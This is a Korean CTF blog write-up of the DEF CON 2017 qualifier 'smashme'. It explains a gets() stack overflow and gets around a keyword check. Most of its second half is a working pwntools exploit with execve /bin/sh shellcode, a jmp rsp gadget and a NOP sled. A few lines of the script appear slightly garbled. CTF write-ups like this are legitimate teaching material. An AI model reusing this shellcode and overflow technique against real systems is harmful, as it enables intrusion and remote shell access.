Wargame & CTF/CTF

[Defcon 2017 예선] smashme

Tribal 2017. 5. 1. 20:32

바이너리에 그 어떠한 보호기법도 걸려있지 않고, 서버에는 ASLR은 걸려있는걸로 예상하고 시작하였다.


문제의 main 함수에는 gets() 함수를 통해 buffer에 입력을 받기 때문에 Buffer Overflow 취약점이 존재한다. 하지만, 이름 smashme인 것처럼 sub_400320() 함수 때문에 그냥 되진 않는데, 저걸 무사히 통과해서 Return Address에 접근해 종료되도록 만들면 된다.


조금 디버깅해보면 __strstr_sse2_unaligned() 함수의 시작부분에서 rsi 레지스터에서 1바이트씩 가져와 확인을 하는 모습을 볼 수 있다. rsi에 있는 문자열을 살펴보면 조금 수상한 문자열이 들어있는데, 이 문자열이 키워드이다.


해당 문자열 뒤에 문자열을 추가하여 입력을 하면 Segmentation Fault가 발생하는 것을 볼 수 있다.


Return Address까지 대충 페이로드를 채워넣은 뒤, Return Address에 jmp rsp 가젯을 넣고 그 뒤에 쉘코드를 세팅해주면 쉘이 획득될 것이다.


페이로드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
from pwn import *
 
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 
 
gadget = 0x4c25a9 
payload = "Smash me outside, how bout dAAAAAAAAAAA" + "B"*33
payload += p64(gadget)
payload += "\x90"*500
payload += sc
 
= process("./smashme")
#s = remote("smashme_omgbabysfirst.quals.shallweplayaga.me"57348)
 
print s.recvuntil("Welcome to the Dr. Phil Show. Wanna smash?\n")
s.sendline(payload)
 
s.interactive()
s.close()
cs


결과화면